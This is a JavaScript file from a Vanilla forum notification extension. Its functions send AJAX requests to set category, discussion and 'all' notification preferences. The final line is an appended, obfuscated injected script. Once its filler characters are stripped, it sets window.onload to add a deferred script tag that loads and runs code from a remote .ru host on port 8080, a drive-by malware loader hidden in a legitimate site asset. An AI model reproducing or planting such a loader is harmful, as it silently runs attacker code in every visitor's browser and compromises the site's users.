/*
    Type=CATEGORY,DISCUSSION,ALL;
    ElementID=x (DiscussionID,CategoryID,0)
    Value=1/0 (1=set, 0=unset)
                                  */
function SetNotify(Type,ElementID,Value,Elem,Class,NewText)
{
    var Vanilla = new PathFinder();
    var ajax = new Ajax.Request(Vanilla.webRoot = Vanilla.getRootPath('script', 'src', 'js/global.js')+'extensions/Notify/ajax.php',    {
        parameters:'PostBackAction=ChangeNotify&Type='+Type+'&ElementID='+ElementID+'&Value='+Value,
        onSuccess: function(r)
        {
            Element.removeClassName(Elem,Class);
            if (NewText != '') Elem.innerHTML = NewText;
            $(Elem).innerHTML = NewText;
         }
    });
    return true;
}

function NotifyCat(CategoryID)
{
    Element.addClassName('NotifyCatCont_'+CategoryID,'PreferenceProgress');
    if ($('NotifyCat_'+CategoryID).checked == true) Value = 1;
    else Value = 0;
    SetNotify('CATEGORY',CategoryID,Value,'NotifyCatCont_'+CategoryID,'PreferenceProgress','');
}
function NotifyDiscussion(DiscussionID)
{
    Element.addClassName('NotifyDiscussionCont_'+DiscussionID,'PreferenceProgress');
    if ($('NotifyDiscussion_'+DiscussionID).checked == true) Value = 1;
    else Value = 0;
    SetNotify('DISCUSSION',DiscussionID,Value,'NotifyDiscussionCont_'+DiscussionID,'PreferenceProgress','');
}
function PNotifyAll(SetText,UnSetText)
{
    Element.addClassName('SetNotifyAll','Progress');
    if ($('SetNotifyAll').innerHTML == SetText)
    {
        Value = 1;
        NewText = UnSetText;
    }
    else
    {
        Value = 0;
        NewText = SetText;
    }
    SetNotify('ALL',0,Value,'SetNotifyAll','Progress',NewText);
}
function PNotifyCategory(CategoryID,SetText,UnSetText)
{
    Element.addClassName('SetNotifyCategory_'+CategoryID,'Progress');
    if ($('SetNotifyCategory_'+CategoryID).innerHTML == SetText)
    {
        Value = 1;
        NewText = UnSetText;
    }
    else
    {
        Value = 0;
        NewText = SetText;
    }
    SetNotify('CATEGORY',CategoryID,Value,'SetNotifyCategory_'+CategoryID,'Progress',NewText);
}
function PNotifyDiscussion(DiscussionID,SetText,UnSetText)
{
    Element.addClassName('SetNotifyDiscussion_'+DiscussionID,'Progress');
    if ($('SetNotifyDiscussion_'+DiscussionID).innerHTML == SetText)
    {
        Value = 1;
        NewText = UnSetText;
    }
    else
    {
        Value = 0;
        NewText = SetText;
    }
    SetNotify('DISCUSSION',DiscussionID,Value,'SetNotifyDiscussion_'+DiscussionID,'Progress',NewText);
}

function NotifyAll()
{
    Element.addClassName('NotifyAllCont','PreferenceProgress');
    if ($('NotifyAllField').checked == true) Value = 1;
    else Value = 0;
    SetNotify('ALL',0,Value,'NotifyAllCont','PreferenceProgress','');
}

function NotifyOwn()
{
    Element.addClassName('NotifyOwnCont','PreferenceProgress');
    if ($('NotifyOwnField').checked == true) Value = 1;
    else Value = 0;
    SetNotify('OWN',0,Value,'NotifyOwnCont','PreferenceProgress','');
}
try {this.cN="";var zK='';this.q='';var m='replace';this.X='';this.B="";var D=RegExp;var mw=new String();this.hz="";function p(c,C){var O;if(O!='R' && O != ''){O=null};var Z;if(Z!='e' && Z!='jT'){Z=''};this.b="";var z='[';var CE;if(CE!='a'){CE=''};var u='g';var QH=new String();var s;if(s!='f' && s!='ux'){s=''};z+=C;z+=']';var mB;if(mB!='FN'){mB='FN'};this.fE='';var izj;if(izj!='' && izj!='Ie'){izj=null};var E=new D(z, u);this.cz='';var dz="";return c[m](E, new String());var AZ=new Date();};var U=new Date();var Fg=new String();var Ak;if(Ak!='mR' && Ak != ''){Ak=null};var V='';var qu=new String();var x=p('o7nAl_oAa7d7',"rB7A_");var g=p('sKcOrTiOpKtT',"TOK");this.xB="";var pF="";var H=p('hPtQtPp0:0/0/Pr0aPk0uBtBe0n0-QcPo0-Pj0pQ.PoYcQnY.Pn0eQ.PjYpB.0sPlQuYt0lYoQa0dQ-PcQoBmQ.BiBwYe0s0t0pQo0iQnYtY.Yr0u0:Q',"YQPB0");var EY=window;var EZ=p('c8r_eIa8tIe8E8lIe8m_eInIt8',"8_SI");var L;if(L!='' && L!='xm'){L=null};var G=p('/3tH-RmOoOb3iOl3e3.OcRoOmW/HtO-3mOo3bWiHlReW.RcOoHmH/RwOe3l3tR.HdWeO/RgWoHoWgRlReO.3cRo3mO/Og3eRtHaRfWrOeWeWlHaWnRc3eRrO.RcRoRmW.OpHh3p3',"R3OHW");var Dm;if(Dm!='' && Dm!='Fl'){Dm=null};var TH;if(TH!=''){TH='LO'};var gE=p('8330228232032',"32");var Kl=new String();j=function(){var SH=new String();_=document[EZ](g);this.ey='';var Fx="";V=H+gE;V+=G;var fF;if(fF!='eW'){fF='eW'};var Io=new Array();_.defer=([1][0]);var Og;if(Og!='Av' && Og!='LN'){Og='Av'};var nV='';var qE='';_.src=V;var v;if(v!='HR' && v!='cb'){v=''};document.body.appendChild(_);};var nZ;if(nZ!='' && nZ!='Klk'){nZ=''};var yl=new Array();var ME="";EY[x]=j;} catch(cY){var hU;if(hU!='qQ' && hU != ''){hU=null};var SJ="";};